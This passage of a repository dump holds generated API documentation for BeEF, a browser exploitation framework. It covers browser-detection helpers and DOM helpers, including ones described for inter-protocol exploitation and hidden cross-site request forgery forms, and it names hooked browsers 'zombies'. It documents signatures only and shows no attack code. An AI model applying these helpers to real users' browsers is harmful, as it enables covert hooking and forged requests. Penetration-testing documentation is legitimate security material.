href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2483\">line 2483</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isObowser\"><span class=\"type-signature\">(static) </span>isObowser<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if the browser is any version of Opera.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2515\">line 2515</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isOdyssey\"><span class=\"type-signature\">(static) </span>isOdyssey<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Odyssey</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line70\">line 70</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isS\"><span class=\"type-signature\">(static) </span>isS<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Safari.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1012\">line 1012</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isS4\"><span class=\"type-signature\">(static) </span>isS4<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Safari 4.xx</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line972\">line 972</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isS5\"><span class=\"type-signature\">(static) </span>isS5<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Safari 5.xx</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line980\">line 980</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isS6\"><span class=\"type-signature\">(static) </span>isS6<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Safari 6.xx</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line988\">line 988</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isS7\"><span class=\"type-signature\">(static) </span>isS7<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Safari 7.xx</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line996\">line 996</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isS8\"><span class=\"type-signature\">(static) </span>isS8<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Safari 8.xx</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1004\">line 1004</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isWebKitBased\"><span class=\"type-signature\">(static) </span>isWebKitBased<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if Webkit based</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line1021\">line 1021</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".javaEnabled\"><span class=\"type-signature\">(static) </span>javaEnabled<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Checks if the zombie has Java enabled.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line3890\">line 3890</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".type\"><span class=\"type-signature\">(static) </span>type<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns the type of browser being used.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2536\">line 2536</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.browser.popup.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: popup</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: popup</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>\n            <span class=\"ancestors\"><a href=\"beef.browser.html\">.browser</a>.</span>popup</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>Provides fuctions for working with cookies.\nSeveral functions adopted from http://davidwalsh.name/popup-block-javascript\nOriginal author unknown.</p></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser_popup.js.html\">browser/popup.js</a>, <a href=\"browser_popup.js.html#line7\">line 7</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".blocker_enabled\"><span class=\"type-signature\">(static) </span>blocker_enabled<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser_popup.js.html\">browser/popup.js</a>, <a href=\"browser_popup.js.html#line15\">line 15</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.dom.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: dom</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: dom</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>dom</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>Provides functionality to manipulate the DOM.</p></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line7\">line 7</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".attachApplet\"><span class=\"type-signature\">(static) </span>attachApplet<span class=\"signature\">(id:, code:, codebase:, archive:, params:)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed).\nexample usage in the code, using a JAR archive (recommended and faster):\nbeef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);\nexample usage in the code, using codebase:\nbeef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>id:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>reference identifier to the applet.</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>code:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>name of the class to be loaded. For example, beef.class.</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>codebase:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the URL of the codebase (usually used when loading a single class for an unsigned applet).</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>archive:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the jar that contains the code.</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>params:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>an array of additional params that the applet except.</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line372\">line 372</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".createElement\"><span class=\"type-signature\">(static) </span>createElement<span class=\"signature\">(type, attributes)</span><span class=\"type-signature\"> &rarr; {Array}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Creates a new element but does not append it to the DOM.</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>type</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the name of the element.</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>attributes</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Array</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>the attributes of that element.</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line28\">line 28</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>the created element.</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Array</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".createForm\"><span class=\"type-signature\">(static) </span>createForm<span class=\"signature\">(params:, append:)</span><span class=\"type-signature\"> &rarr; {Object}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Create a form element with the specified parameters, appending it to the DOM if append == true</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>params:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Hash</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>params to be applied to the form element</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>append:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Boolean</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>automatically append the form to the body</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line225\">line 225</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>a form object</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Object</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".createIframe\"><span class=\"type-signature\">(static) </span>createIframe<span class=\"signature\">(type:, params:, styles:, a)</span><span class=\"type-signature\"> &rarr; {Object}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter\nis assigned to created iframe tag's src attribute resulting in GET request to that URI.\nexample usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>type:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>can be 'hidden' or 'fullScreen'. defaults to normal</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>params:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Hash</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>list of params that will be sent in request.</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>styles:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">Hash</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>css styling attributes, these are merged with the defaults specified in the type parameter</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>a</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">function</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>callback function to fire once the iFrame has loaded</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line114\">line 114</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>the inserted iFrame</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Object</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".createIframeIpecForm\"><span class=\"type-signature\">(static) </span>createIframeIpecForm<span class=\"signature\">(rhost:, rport:, commands:)</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.</p>\n</div>\n\n\n\n\n\n\n\n\n\n    <h5>Parameters:</h5>\n    \n\n<table class=\"params\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>rhost:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>remote host ip/domain</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>rport:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>remote port</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>commands:</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">String</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>protocol commands to be executed by the remote host:port service</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"dom.js.html\">dom.js</a>, <a href=\"dom.js.html#line483\">line 483</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".createIframeXsrfForm\"><span class=\"type-signature\">(static) </span>createIframeXsrfForm<span class=\"signature\">(action:, method:, enctype:, inputs:)</span><span class=\"type-signature\"></span></h4>\n    \n\n    